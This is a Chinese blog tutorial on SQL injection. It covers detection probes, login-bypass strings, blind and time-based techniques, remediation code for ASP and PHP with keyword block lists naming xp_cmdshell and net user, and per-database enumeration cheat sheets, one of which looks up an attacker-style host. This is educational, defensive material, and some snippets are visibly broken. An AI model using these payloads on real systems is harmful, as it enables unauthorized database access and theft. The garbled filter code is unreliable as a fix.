01SQL注入

BamB00 2021-04-12 00:04:28
Categories: Tags:

0x01 什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到WEB表单中提交或者输入到域名参数中传递到后台查询字符串,最终达到欺骗服务器执行的恶意的SQL命令。具体来说,它是利用现有WEB应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照原先的意图去执行SQL语句。

例如

<?php
# 普通的SQL查询语句
id=$GET_['ID'];
sql="select name from students where id="$id"";

普通查询ID就是一个数值,传递过来查询students表下id=$id的name
恶意SQL就是
传递的ID=1 “ union select database() “

然后SQL查询语句就会变为了

sql="select name from students where id= "1" union select database()"

就变成了一个联合查询。
查询数据ID=1且查询数据库的名称。这个过程就是SQL注入

0x011 造成SQL注入漏洞的根本原因:

简单来说: 过于信任用户输入的数据,没有对任何输入的数据进行过滤。(未任何过滤输入数据)

专业点就是: 参数和命令发生混淆

0x02 检测条件

  1. 被检测的网站具有数据交互的模块
  2. 涉及到参数提交

例如: http://www.exmaple.com/page.xxx
传递的方式为
http://www.exmaple.com/page.xxx?name=value

0x03 检测方法

  1. 数值型
    http://host/test.php?id=100 and 1=1        //返回成功
    http://host/test.php?id=100 and 1=2        //返回失败
    
  2. 字符型
    http://host/test.php?name=rainman ‘ and ‘1’=‘1        //返回成功 
    http://host/test.php?name=rainman ‘ and ‘1’=‘2        //返回失败
    http://host/test.php?name=rainman ‘ and ‘1’=‘2 ))     //使用括号进行语句闭合
    
  3. 搜索型。搜索型注入:简单的判断搜索型注入漏洞存在不存在的办法是:
    ```

1)先搜索(‘),如果出错,说明90%存在这个漏洞。
2)然后搜索(%),如果正常返回,说明95%有洞了。
3)然后再搜索一个关键字,比如(2006)吧,正常返回所有2006相关的信息。
4)再搜索(2006%’and 1=1 and ‘%’=’)和(2006%’and 1=2 and ‘%’=’)。

4. 绕过验证(常见的为管理登陆)也称万能密码

用户名输入: ‘or 1=1 or’ 密码:任意
Admin’ – (或’or 1=1 or’ –)(admin or 1=1 –) (MSSQL)(直接输入用户名,不进行密码验证)
用户名输入:admin 密码输入:’ or ‘1’=‘1 也可以
用户名输入:admin’ or ‘a’=’a 密码输入:任意
用户名输入:’ or 1=1 –
用户名输入:admin’ or 1=1 – 密码输入:任意
用户名输入:1’or’1’=’1’or’1’=’1 密码输入:任意

5. 不同的SQL服务器连结字符串的语法不同,比如MS SQL Server使用符号+来连结字符串,而Oracle使用符号||来连结:

http://host/test.jsp?ProdName=Book’ //返回错误
http://host/test.jsp?ProdName=B’+’ook //返回正常
http://host/test.jsp?ProdName=B’||’ook //返回正常说明有SQL注入
如果应用程序已经过滤了’和+等特殊字符,我们仍然可以在输入时过把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查。

注释:大多数数据库系统使用“/*”做为注释,Oracle使用“\-\-”做为注释。

# 0x04 数据库的特征

用于快速的观察数据库是什么类型

1. 观察应用返回的错误信息判断数据库类型。
2. 字符串拼接特点


```SQL
Mysql:’test’ ‘ing’
SQLServer:’test’ + ‘ing’
Oracle:’test’ || ‘ing’
PostgreSQL:’test’ || ‘ing’

0x05 漏洞技术的利用

  1. 联合查询SQL注入技术:UNION联合多个SQL语句。
  2. SQL中逻辑判断使用技术:应用在盲注中,例如判断用户名第一个字符是不是“a”。
  3. 基于错误的注入技术:在SQL注入语句中加入执行函数语句。
  4. 外连攻击技术:在SQL注入语句中加入外连其他服务器的执行函数,使得连接到其他服务器。
  5. 延时攻击:注入语句中加入睡眠时间,以此根据响应时间判断猜测正确与否。
  6. 注释块(’/* sql */’)包含一个感叹号标记时(‘/*! sql */’),MySQL可以对其进行解析,而其他数据库系统将其作为普通注释块。

更详细的利用
漏洞银行技能树

0x06 盲注

字符串长度:length(str)
基于时间的盲注:sleep()
不用引号实现字符串:CHR(104) || CHR(101) || CHR(108) || CHR(108)    //返回字符串的ASCII码值
和以上相反:ASCII(‘r’) || ASCII(’o’) || ASCII(‘t’)

非关系型数据库(NoSQL):NoSQL注入攻击可以在过程语言中执行,而不是在声明式的SQL语言,所以潜在的影响要大于传统的SQL注入。

0x07 修复方案

借 星盟大佬的一句话,任何对数据库的操作的语句都是不可信任的。

推荐使用参数化查询方式进行SQL查询,可以有效防御SQL注入问题

建议在代码中对数字类型的参数先进行数字类型变换,然后再代入到SQL查询语句中,这样任何注入行为都不能成功。并且考虑过滤一些参数,比如get参数和post参数中对于SQL语言查询的部分。

所以防范的时候需要对用户的输入进行检查。特别式一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤。

net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
'
:
"
insert
delete from
drop table
update
truncate
from
%

0x071 如果网站使用的语言为asp或者aspx,则可通过如下几种方式进行修复:

1. Replace过滤字符:解决方法:查找login.asp下的
   ```java
    username=request.Form("name")
    pass=request.Form("pass")

    修改为:
    username=Replace(request.Form("name"), "'", "''")
    pass=Replace(request.Form("pass"), "'", "''")
    语法是屏蔽'和''字符来达到效果。
    ```
2. conn.asp 内加入:(前提:登陆页面有)
    ```java
    <%
        Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
        Err_Message = 3
        Err_Web = "safe.htm"
        //出错时转向的页面

        Query_Badword="‘|and|select|update|chr|delete|%20from|;|insert|mid|master.|set|chr(37)|="
        //在这部份定义get非法参数,使用"|"号间隔
        Form_Badword="‘|(|)|;|="
        //在这部份定义post非法参数,使用"|"号间隔
        On Error Resume Next
        if request.QueryString<>"" then
            Chk_badword=split(Query_Badword,"|")
            FOR EACH Query_Name IN Request.QueryString
                for i=0 to ubound(Chk_badword)
                    If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
                        Select Case Err_Message
                            Case "1"
                            Response.Write " 
                            Case "2"
                            Response.Write " 
                            Case "3"
                            Response.Write " 
                        End Select
                        Response.End
                    End If
                NEXT
            NEXT
        End if

        if request.form<>"" then
            Chk_badword=split(Form_Badword,"|")
            FOR EACH name IN Request.Form
                for i=0 to ubound(Chk_badword)
                    If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
                        Select Case Err_Message
                            Case "1"
                            Response.Write " 
                            Case "2"
                            Response.Write " 
                            Case "3"
                            Response.Write " 
                        End Select
                        Response.End
                    End If
                NEXT
            NEXT
        end if
    %>
    ```
3. ASP一般编程上可参考以下代码编程思路,过滤GET/POST请求模块代码:
    ```java
    dim SQL_injdata 
    SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|% |chr|mid|master|truncate|char|declare" 
    SQL_inj = split(SQL_Injdata,"|") 
    If Request.QueryString<>"" Then 
        For Each SQL_Get In Request.QueryString 
            For SQL_Data=0 To Ubound(SQL_inj) 
                if instr(Request.QueryString(SQL_Get),SQL_Inj(SQL_DATA))>0 Then 
                    Response.Write "参数中包含非法字符" 
                    Response.end 
                end if 
            next 
        Next
    end if
    ```

0x072 对于PHP语言编写的网站,大都是和mysql数据库结合的,可通过如下几种方法结合起来防范SQL注入的漏洞:

  1. 修改php中默认配置文件php.ini中的配置,来降低sql注入的风险:

    参考路径:/usr/local/apache2/conf/php.ini,不同中间件可能位置不一样
    
    修改如下几项:
    safe_mode = on             //开启安全模式
    magic_quotes_gpc = On      //开启过滤函数
    display_errors = Off       //禁止错误信息提示
    
    注:把magic_quotes_gpc选项打开,在这种情况下所有的客户端GET和POST的数据都会自动进行addslashes处理,
    所以此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理。但如果你
    编写的是通用软件,则需要读取服务器的magic_quotes_gpc后进行相应处理
    
    在GET提交的数据中进行过滤select、update、delete、insert等其他语句。使用正则就构建如下函数:
    
    <?php
        function inject_check($sql_str)
        {
            return eregi('select|insert|update|delete|'|)
            function verify_id($id=null)
            {
                if (!$id) { exit('没有提交参数!');
            }                                                           //是否为空判断
            elseif (inject_check($id)) { exit('提交的参数非法!'); }      //注射判断
            elseif (!is_numeric($id)) { exit('提交的参数非法!'); }      //数字判断
            $id = intval($id); // 整型化
            return $id;
        }
    ?>
    
    然后进行对某个参数的过滤:
    
    <?php     
        if (inject_check($_GET['id']))     
        {     
            exit('你提交的数据非法,请检查后重新提交!');     
        }     
        else     
        {     
            $id = verify_id($_GET['id']); // 这里引用了我们的过滤函数,对$id进行过滤     
            echo '提交的数据合法,请继续!';     
        }     
    ?>
    
  2. 在POST提交的数据中,使用函数addslashes()是最终的比较好的方法,构建如下函数:

    <?php        
    function str_check( $str )     
    {     
        if (!get_magic_quotes_gpc())              //判断magic_quotes_gpc是否打开     
        {     
            $str = addslashes($str);              //进行过滤     
        }     
        $str = str_replace("_", "\_", $str);      //把 '_'过滤掉     
        $str = str_replace("%", "\%", $str);      //把' % '过滤掉     
        return $str;     
        }     
    ?>
    
    对于大批量的数据,修改为如下:
    
    <?php      
        function post_check($post)     
        {     
            if (!get_magic_quotes_gpc())                  //判断magic_quotes_gpc是否为打开     
            {     
                $post = addslashes($post);                //进行magic_quotes_gpc没有打开的情况对提交数据的过滤     
            }     
            $post = str_replace("_", "\_", $post);        //把 '_'过滤掉     
            $post = str_replace("%", "\%", $post);        //把' % '过滤掉     
            $post = nl2br($post);                         //回车转换     
            $post= htmlspecialchars($post);               //html标记转换        
            return $post;     
        }     
    ?>
    
  3. 对于MySQL用户,可以使用函数mysqli_real_escape_string( ):

    <?php
    $clean = array();
    $mysql = array();
    $clean['last_name'] = "O'Reilly";
    $mysql['last_name'] = mysqli_real_escape_string($clean['last_name']);
    $sql = "INSERT
        INTO   user (last_name)
            VALUES ('{$mysql['last_name']}')";
    ?>
    
  4. 使用支持参数化查询语句和占位符的数据库操作类(如PEAR::DB, PDO等),如使用PEAR::DB的例子

    <?php
    $sql = 'INSERT
        INTO   user (last_name)
        VALUES (?)';
    $dbh\->query($sql, array($clean['last_name']));
    ?>
    
以上方法结合使用,则可有效的防止在PHP语言网站的SQL注入。

0x073 除此之外,还可以进行对数据库方面进行加固,来防止sql注入的产生:

不要以sysadmin的身份连接数据库。而是使用特定的数据库用户,只具有读取,写入和更新数据库中适当数据的适当特权。此帐户定期检查,确定它所具有的特权。

以安全的方式创建SQL。让数据库来完成创建SQL的工作,而不是在代码中完成。使用参数化SQL语句,同时也能提高查询的效率。

保证数据库用户连接信息非明文保存。

0x08 附各个数据库的注入语句:

注:释义中的’-‘代表和上一个一样,因为一个释义可能有几种形式的SQL语句嘛,下同

0x081 DB2数据库

释义 SQL语句 其他
当前数据库 select current server from sysibm.sysdummy1 -
所有数据库 SELECT schemaname FROM syscat.schemata -
查询表名 select name from sysibm.systables -
查询列名 select name, tbname, coltype from sysibm.syscolumns -
获取版本 select versionnumber, version_timestamp from sysibm.sysversions -
当前用户 select user from sysibm.sysdummy1 -
- select session_user from sysibm.sysdummy1 -
- select system_user from sysibm.sysdummy1 -
用户权限 select * from syscat.tabauth 管理员才能运行
- select * from syscat.dbauth where grantee = 当前用户 -
- select * from syscat.tabauth where grantee = 当前用户 -
- select * from SYSIBM.SYSUSERAUTH 列出DB2系统权限
列出DBA账户 select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’ -
选择第N行 select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only -
选择第N个字符 SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1 返回b
ASCII值-字符 select chr(65) from sysibm.sysdummy1 返回A
字符-ASCII值 select ascii(‘A’) from sysibm.sysdummy1 返回65
字符串连接 SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1 返回abc
- select ‘a’

0x082 MySQL数据库

释义 SQL语句 其他
当前数据库 SELECT database() -
所有数据库 SELECT schema_name FROM information_schema.schemata 版本>5.0
\- SELECT distinct(db) FROM mysql.db 管理员权限才可以执行
查询表名 SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
查询列名 SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
获取版本 SELECT @@version -
当前用户 SELECT user() -
- SELECT system_user() -
用户权限 SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges 用户权限
- SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges 数据库权限
- SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges 字段的权限
列出DBA账户 SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’ -
选择第N行 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0 行从0开始编号
- SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1 行从0开始编号
选择第N个字符 SELECT substr(‘abcd’, 3, 1) 返回c
ASCII值-字符 SELECT char(65) 返回A
字符-ASCII值 SELECT ascii(‘A’) 返回65
字符串连接 SELECT CONCAT(‘A’,’B’) 返回AB
- SELECT CONCAT(‘A’,’B’,’C’) 返回ABC
时间睡眠 SELECT BENCHMARK(1000000,MD5(‘A’)) -
- SELECT SLEEP(5) 版本>= 5.0.12

0x083 Oracle数据库

释义 SQL语句 其他
当前数据库 SELECT global_name FROM global_name
- SELECT name FROM v$database
- SELECT instance_name FROM v$instance
- SELECT SYS.DATABASE_NAME FROM DUAL
所有数据库 SELECT DISTINCT owner FROM all_tables
查询表名 SELECT table_name FROM all_tables
- SELECT owner, table_name FROM all_tables
查询列名 SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’
- SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’
获取版本 SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’
- SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’
- SELECT version FROM v$instance
当前用户 SELECT user FROM dual
用户权限 SELECT * FROM session_privs 当前权限
- SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’ 列出用户的权限
列出DBA账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
选择第N行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 第九行
选择第N个字符 SELECT substr(‘abcd’, 3, 1) FROM dual 第3个字符c
ASCII值-字符 SELECT chr(65) FROM dual 返回A
字符-ASCII值 SELECT ascii(‘A’) FROM dual 返回65
字符串连接 SELECT ‘A’
时间睡眠 SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual 如果反向查询很慢
- SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual 如果正向查询很慢

0x084 MSSQL数据库

释义 SQL语句 其他
当前数据库 SELECT DB_NAME() -
所有数据库 SELECT name FROM master..sysdatabases -
- SELECT DB_NAME(N) N为0,1,2,…
查询表名 SELECT name FROM master..sysobjects WHERE xtype = ‘U’ -
- SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’ -
查询列名 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) 当前数据库
- SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’ 列出master..sometable的列名称
获取版本 SELECT @@version -
当前用户 SELECT user_name() -
- SELECT system_user -
- SELECT user -
用户权限 SELECT permission_name FROM master..fn_my_permissions(null,‘DATABASE’) 当前数据库权限
- SELECT is_srvrolemember(‘sysadmin’) 当前用户权限
列出DBA账户 SELECT is_srvrolemember(‘sysadmin’) 当前用户是否是管理员,是则返回1
选择第N行 SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC 返回第九行
选择第N个字符 SELECT substring(‘abcd’, 3, 1) 返回c
ASCII值-字符 SELECT char(0×41) 返回A
字符-ASCII值 SELECT ascii(‘A’) 返回65
字符串连接 SELECT ‘A’ + ‘B’ 返回AB
时间睡眠 WAITFOR DELAY ‘0:0:5’ 睡眠5秒

0x085 PostgreSQL数据库

释义 SQL语句 其他
当前数据库 SELECT current_database() -
所有数据库 SELECT datname FROM pg_database -
查询表名 SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=’r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) -
查询列名 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) -
获取版本 SELECT version() -
当前用户 SELECT user; -
- SELECT current_user; -
- SELECT session_user; -
- SELECT usename FROM pg_user; -
- SELECT getpgusername(); -
用户权限 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user -
列出DBA账户 SELECT usename FROM pg_user WHERE usesuper IS TRUE -
选择第N行 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 从0行开始编号
- SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; -
选择第N个字符 SELECT substr(‘abcd’, 3, 1) 返回c
ASCII值-字符 SELECT chr(65) 返回A
字符-ASCII值 SELECT ascii(‘A’) 返回65
字符串连接 SELECT ‘A’
时间睡眠 SELECT pg_sleep(10) 睡眠10秒
- SELECT sleep(10) 创建自定义睡眠

0x086 Ingres数据库

释义 SQL语句 其他
当前数据库 select dbmsinfo(‘database’); -
所有数据库 SELECT name FROM iidatabase 连接到数据库
查询表名 select table_name, table_owner from iitables; -
- select relid, relowner, relloc from iirelation; -
- select relid, relowner, relloc from iirelation where relowner != ‘$ingres’; -
查询列名 select column_name, column_datatype, table_name, table_owner from iicolumns; -
获取版本 select dbmsinfo(‘_version’) -
当前用户 select dbmsinfo(‘session_user’) -
- select dbmsinfo(‘system_user’) -
用户权限 select dbmsinfo(‘db_admin’) -
- select dbmsinfo(‘create_table’) -
- select dbmsinfo(‘create_procedure’) -
- select dbmsinfo(‘security_priv’) -
- select dbmsinfo(‘select_syscat’) -
选择第N行 select first 10 blah form table 选择前10位的表
选择第N个字符 select substr(‘abc’, 2, 1) 返回b
ASCII值-字符 - -
字符-ASCII值 - -
字符串连接 select ‘abc’
时间睡眠 - -

0x087 Infomix数据库

释义 SQL语句 其他
当前数据库 SELECT DBSERVERNAME FROM systables where tabid = 1 -
所有数据库 select name, owner from sysdatabases; -
查询表名 select tabname, owner FROM systables; -
- select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; -
查询列名 select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; -
获取版本 SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1 -
- SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1 -
当前用户 SELECT USER FROM systables WHERE tabid = 1 -
- select CURRENT_ROLE FROM systables WHERE tabid = 1 -
用户权限 select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid 哪些用户可以访问哪些程序
选择第N行 select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc 选择第10行
选择第N个字符 SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1 返回C
ASCII值-字符 - -
字符-ASCII值 select ascii(‘A’) from systables where tabid = 1 返回65
字符串连接 SELECT ‘A’
- SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1 返回AB
时间睡眠 - -